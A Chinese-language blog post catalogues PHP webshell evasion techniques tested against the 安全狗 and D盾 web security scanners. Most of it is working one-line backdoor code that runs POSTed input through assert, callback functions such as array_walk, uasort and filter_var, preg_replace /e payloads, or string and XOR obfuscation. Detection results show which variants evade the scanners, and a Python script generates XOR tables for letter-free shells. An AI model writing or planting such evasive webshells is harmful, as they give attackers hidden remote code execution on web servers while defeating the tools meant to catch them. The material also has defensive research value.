PHP webshell 免杀姿势总结

PHP 有很多经典的免杀姿势可以总结学习,不知道以前国光我在干啥,这个实际上早就该掌握的知识了,果然是“逆水行舟,不进则退”啊 。

环境准备

防护软件 官网 版本日期
网站安全狗 网站安全狗 2020-04-02 Apache Apache版 V4.0.28330
D盾 D盾_防火墙 2019-10-31 V2.1.5.4

安全狗安装比较坑,国光使用 PHPStudty 2018 版本安装的时候,默认是检测不到 服务名的,然后提示:服务名不允许为空

所以安装前得首先安装一下 Apache 服务,首先停止 PHPStudy 的 Apache 和 MySQL 服务,然后以管理员身份运行 CMD ,接着到 Apache 的 bin 目录下执行如下命令:

httpd.exe -k install -n Apache

# 安装成功的输出信息
C:\phpStudy\PHPTutorial\Apache\bin>httpd.exe -k install -n Apache
Installing the 'Apache' service
The 'Apache' service is successfully installed.
Testing httpd.conf....
Errors reported here must be corrected before the service can be started.

如果要卸载服务的话,输入如下命令 :

sc delete Apache

接着先不要着急启动 PHPStudy 服务,手动到 Windows 服务中启动 Apache ,最终效果图如下:

然后就可以愉快地安装安全狗了,大概需要 1 分钟时间。 安装好安全狗之后,记得取消加入“云计划”这个选项:

eval 与 assert

eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:

$f='assert';
$f(...);

此时 $f 就表示 assert,所以 assert 关键词更加灵活,但是 PHP7 中,assert 也不再是函数了,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,不过这个暂时不在本文范围内,国光目前先把 PHP5 下的免杀总计好,后面再来慢慢总结 PHP7 下的免杀。

字符串变形

安全狗的规则非常死板,字符串相关函数简单变形一下关键词就可以绕过安全狗的检测了,D 盾的话要严格一点。PHP 内置了一些字符串函数,以下函数国光测试均可以 Bypass 安全狗。

substr()

substr(string,start,length)

substr() 函数返回字符串的一部分。

参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始; 负数 - 在从字符串结尾开始的指定位置开始; 0 - 在字符串中的第一个字符处开始
length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度; 负数 - 从字符串末端返回的长度

首先我们来一个基础的字符串拼接:

<?php 
    $a = 'a'.'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

也许在很久以前这个是可以过 安全狗的,但是直接扑街了,检测结果如下:

安全狗 D盾
1 个安全风险 assert 变量函数 级别 5 变量函数后门

此时我们使用 substr() 函数稍微截断一下:

<?php 
    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

此时就已经过掉安全狗了,D 盾检测级别降到了 4 级,检测结果如下:

安全狗 D盾
0 个安全风险 级别 4 变量函数后门

当然我们此时也是可以正常执行命令的:

此时是可以执行简单的命令的。因为临时用的 PHPStudy 环境,所以 D 盾没有完全发挥监控的作用,因为 D 盾得在 IIS 环境下测试才可以完全发挥功能,目前我们只临时用 D 盾做 Webshell 查杀的功能。

另外虽然此时这个 Webshell 已经免杀了,且也可以执行任意命令,但是如果我使用中国菜刀或者中国蚁剑之类的一句话客户端工具去连接的话,依然还是会被拦截的,这个涉及到蚁剑的自定义编码和解码器了,这个会在下文中单独介绍,目前这部分内容我们只研究基本的 Webshell 免杀。

strtr()

strtr(string,from,to)

strtr() 函数转换字符串中特定的字符。

参数 描述
string 必需。规定要转换的字符串。
from 必需(除非使用数组)。规定要改变的字符。
to 必需(除非使用数组)。规定要改变为的字符。
array 必需(除非使用 fromto)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。

依然对字符串进行简单地处理一下:

<?php 
    $a = strtr('azxcvt','zxcv','sser');
    $a($_POST['x']);
?>

此时就已经过掉安全狗了,D 盾检测级别降到了 1 级,检测结果如下:

安全狗 D盾
0 个安全风险 级别 1 可疑变量函数

substr_replace()

substr_replace(string,replacement,start,length)

substr_replace() 函数把字符串 string 的一部分替换为另一个字符串 replacement。

参数 描述
string 必需。规定要检查的字符串。
replacement 必需。规定要插入的字符串。
start 必需。规定在字符串的何处开始替换。正数 - 在字符串中的指定位置开始替换; 负数 - 在从字符串结尾的指定位置开始替换; 0 - 在字符串中的第一个字符处开始替换
length 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 - 被替换的字符串长度; 负数 - 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 - 插入而非替换
<?php 
    $a = substr_replace("asxxx","sert",2);
    $a($_POST['x']);
?>  
安全狗 D盾
0 个安全风险 级别 1 (可疑)变量函数

trim()

trim(string,charlist)

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符 \0 - NULL; \t - 制表符; \n - 换行; \x0B - 垂直制表符; \r - 回车; 空格
<?php 
    $a = trim(' assert ');
    $a($_POST['x']);
?>
安全狗 D盾
0 个安全风险 级别 4 变量函数后门

函数绕过

函数可以把敏感关键词当做参数传递,不过最近版本的安全狗似乎完善了这种检测规则,测试的几个都没有过狗,但是 D 盾的级别降到了 2 级:

<?php 
    function sqlsec($a){
        $a($_POST['x']);
    }

    sqlsec(assert);
?>
安全狗 D盾
1 个安全风险 assert变量函数 级别 2 变量函数后门

但是换一种方式将$_POST['x']当做参数传递的话就都翻车了:

<?php 
    function sqlsec($a){
        assert($a);
    }
    sqlsec($_POST['x']);
?>
安全狗 D盾
1 个安全风险 assert PHP一句话后门 已知后门

回调函数

前辈们说常⽤的回调函数⼤部分都无法绕过 WAF 了,测试了 P 神博客分享的一些回调函数,发现均被拦截识别出来了。下面还是来手工一个个验证看看吧。

call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

<?php
    call_user_func('assert',$_POST['x']);
?>

这种传统的回调后门,看了 P 神的博客,15 年的时候就已经被一些安全厂商盯上了……

安全狗 D盾
1 个安全风险 call_user_func后门 级别 5 (内藏) call_user_func后门

call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

<?php
    call_user_func_array(assert,array($_POST['x']));
?>

不过安全狗和 D 盾都对这个函数进行检测了:

安全狗 D盾
1 个安全风险 call_user_func_array回调后门 级别 4 call_user_func_array

array_filter()

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。

<?php
    array_filter(array($_POST['x']),'assert');
?>

依然无法 Bypass

安全狗 D盾
1 个安全风险 array_filter后门 级别 5 array_filter后门

看了下 P 神文章中的要更加灵活一些,assert 手动 Base64 编码后传入,这样还会把 assert 关键词给去掉了:

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_filter($arr, base64_decode($e));
?>
安全狗 D盾
1 个安全风险 array_filter后门 级别 4 array_filter 参数

array_map()

array_map(myfunction,array1,array2,array3...)
参数 描述
myfunction 必需。用户自定义函数的名称,或者是 null。
array1 必需。规定数组。
array2 可选。规定数组。
array3 可选。规定数组。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。和 arrray_walk() 函数差不多:

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_map(base64_decode($e), $arr);
?>

依然被杀了,检测结果如下:

安全狗 D盾
1 个安全风险 array_map执行 级别 5 已知后门

array_walk()

array_walk(array,myfunction,parameter...)

array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

简单案例:

<?php
function myfunction($value,$key)
{
    echo "The key $key has the value $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction");
?>

运行结果如下:

The key a has the value red
The key b has the value green
The key c has the value blue

根据这个特性手动来写一个 webshell 试试看:

<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        $x($_POST['x']);
    }
    $a=array("ass"=>"ert");
    array_walk($a,"sqlsec");
?>

这个 array_walk 有点复杂,国光我瞎折腾写了上面的这个 webshell 居然过掉狗了,不过这里用的是回调函数和自定义函数结合的姿势了。

安全狗 D盾
0 个安全风险 级别 2 (可疑)变量函数

看了下网上其他师傅们的姿势:

<?php 
  $e = $_REQUEST['e'];
  $arr = array($_POST['x'] => '|.*|e',);
    array_walk($arr, $e, '');
?>

此时提交如下 payload 的话:

shell.php?e=preg_replace

最后就相当于执行了如下语句:

preg_replace('|.*|e',$_POST['x'],'')

这个时候只需要 POST x=phpinfo(); 即可。这种主要是利用了 preg_replace 的 /e 模式进行代码执行,关于这一块知识不懂的朋友可以参考我写的另一篇文章:PHP preg_系列漏洞小结

不过这种方法已经凉了,安全狗和 D 盾均可以识别,而且这种 preg_replace 三参数后门的 /e模式 PHP5.5 以后就废弃了:

安全狗 D盾
1 个安全风险 array_walk执行 级别 5 已知后门

不过 PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:

mb_ereg_replace

mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string

类似于 preg_replace 函数一样,也可以通过 e 修饰符来执行命令:

<?php 
    mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>

preg_filter

mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_filter() 等价于 preg_replace() ,但它仅仅返回与目标匹配的结果。

<?php 
    preg_filter('|\d|e', $_REQUEST['x'], '2');
?>

只是比较可惜,都无法过狗和D盾了。不过问题不大,感兴趣小伙伴可以去查阅 PHP 官方文档,还是可以找到类似函数的,国光亲测可以过狗和D盾。

<?php 
    mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>

array_walk_recursive()

array_walk_recursive(array,myfunction,parameter...)

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。该函数与 array_walk()函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。
<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
?>
安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

array_reduce()

array_reduce(array,myfunction,initial)

array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

参数 描述
array 必需。规定数组。
myfunction 必需。规定函数的名称。
initial 可选。规定发送到函数的初始值。
<?php
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['x']);
?>

POST 提交如下数据:e=assert&x=phpinfo(); 但是目前已经无法过狗了,GG:

安全狗 D盾
1 个安全风险 array_reduce执行 级别 5 已知后门

array_udif()

array_diff(array1,array2,array3...);

array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

参数 描述
array1 必需。与其他数组进行比较的第一个数组。
array2 必需。与第一个数组进行比较的数组。
array3,… 可选。与第一个数组进行比较的其他数组。
<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['x']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);
?>

POST 提交如下数据:e=assert&x=phpinfo(); 但是目前已经无法过狗了,GG:

安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

uasort()

uasort(array,myfunction);

uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。

参数 描述
array 必需。规定要进行排序的数组。
myfunction 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。
<?php
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['x']);
    uasort($arr, base64_decode($e));
?>

POST 提交的数据如下:e=YXNzZXJ0&x=phpinfo(); 这个后门在 PHP 5.3之后可以正常运行,5.3 会提示 assert 只能有1个参数,这是因为 assert 多参数是后面才开始新增的内容,PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description 指定到 assert()。:

安全狗 D盾
1 个安全风险 PHP回调木马 级别 4 uasort 参数

还有一个面向对象的方法:

<?php
   $arr = new ArrayObject(array('test', $_REQUEST['x']));
   $arr->uasort('assert');
?>

uksort()

uksort(array,myfunction);

uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。

参数 描述
array 必需。规定要进行排序的数组。
myfunction 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。
<?php
    $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['x'] => 2);
    uksort($arr, $e);
?>

POST 的内容如下:e=assert&x=phpinfo(); 该方法也不能 Bypass 安全狗了:

安全狗 D盾
1 个安全风险 php后门回调木马 级别 5 已知后门

还有一个面向对象的方法:

<?php
   $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
   $arr->uksort('assert');
?>

registregister_shutdown_function()

register_shutdown_function ( callable $callback [, mixed $... ] ) : void

注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

<?php
    $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['x']);
?>

安全狗 1 级,D 盾 5 级 已知后门。

register_tick_function()

register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

注册在调用记号时要执行的给定函数。

<?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
?>

安全狗 1 级,D 盾 5 级 已知后门。

filter_var()

filter_var(variable, filter, options)

filter_var() 函数通过指定的过滤器过滤变量。

参数 描述
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
<?php
    filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>

安全狗 1 级,D 盾 5 级 已知后门。

filter_var_array()

filter_var_array(array, args)

filter_var_array() 函数获取多项变量,并进行过滤。

参数 描述
array 必需。规定带有字符串键的数组,包含要过滤的数据。
args 可选。规定过滤器参数数组。合法的数组键是变量名。合法的值是过滤器 ID,或者规定过滤器、标志以及选项的数组。该参数也可以是一个单独的过滤器 ID,如果是这样,输入数组中的所有值由指定过滤器进行过滤。
<?php
    filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

安全狗 0 级,D 盾 5 级 已知后门。

异或

P 神的一篇经典文章 一些不包含数字和字母的webshell 里面提到了异或的姿势,目前只有第一种方法可以过狗了,后面两种方法以及不行了….. 所以本课只重点带大家来看一下第一种姿势。我们只要稍微修改一下也可以轻松过掉安全狗:

<?php 
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

此时就已经过掉安全狗了,D 盾检测级别降到了 3 级,检测结果如下:

安全狗 D盾
0 个安全风险 级别 3 变量函数

关于异或国光用 Python 写了一个体验比较友好的脚本:

import string
from urllib.parse import quote

keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []


for i in keys:
    for j in keys:
        asscii_number = i^j
        if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
            if i < 32 and j < 32:
                temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} =  {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
                results.append(temp)
            elif i < 32 and j >=32:
                temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
                results.append(temp)
            elif i >= 32 and j < 32:
                temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
                results.append(temp)
            else:
                temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
                results.append(temp)

results.sort(key=lambda x:x[1], reverse=False)

for low_case in string.ascii_lowercase:
    for result in results:
        if low_case in result:
            print(result[0])

for upper_case in string.ascii_uppercase:
    for result in results:
        if upper_case in result:
            print(result[0])

脚本运行效果如下:

python3 xxx.py > results.txt

此时就会在当前路径下生成 results.txt 文件,这里存放着 1k 多异或结果,国光不仅进行了字母排序,而且也考虑到一些不可打印字符,而且也添加了 URL 编码,让大家找起来更加直观一些,提高工作效率:

继续回到免杀, D 盾这里检测到了变量函数:

<?php 
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

这里只是为了过 D 盾,所以就没有都异或,P 神的文章中比较苛刻,不能出现字母和数字,所以全都异或了一遍,国光比较懒,这里只是把 _POST通过字符串拼接组装一下,然后当做变量传入即可过掉 D 盾了,级别降到 1 级了:

安全狗 D盾
0 个安全风险 级别 1 变量函数

register_tick_function()

register_tick_function ( callable $function [, mixed $... ] ) : bool

注册在调用记号时要执行的给定函数。

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);

参考资料


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
 上一篇
PHP preg_系列漏洞小结 PHP preg_系列漏洞小结
最近看 P 神以前写的文章,其中在 3 个参数的回调函数中提到了 preg_replace /e 命令执行,对这块不是很熟悉的我特此写这篇文章总结学习一下。 preg_matchint preg_match ( string $patt
2020-07-09
下一篇 
Python 实现 T00ls 自动签到脚本(邮件+钉钉通知) Python 实现 T00ls 自动签到脚本(邮件+钉钉通知)
T00ls 每日签到是可以获取 TuBi 的,由于常常忘记签到,导致损失了很多 TuBi 。于是在 T00ls 论坛搜索了一下,发现有不少大佬都写了自己的签到脚本,签到功能实现、定时任务执行以及签到提醒的方式多种多样,好羡慕啊。所以这里国光
2020-07-05
  目录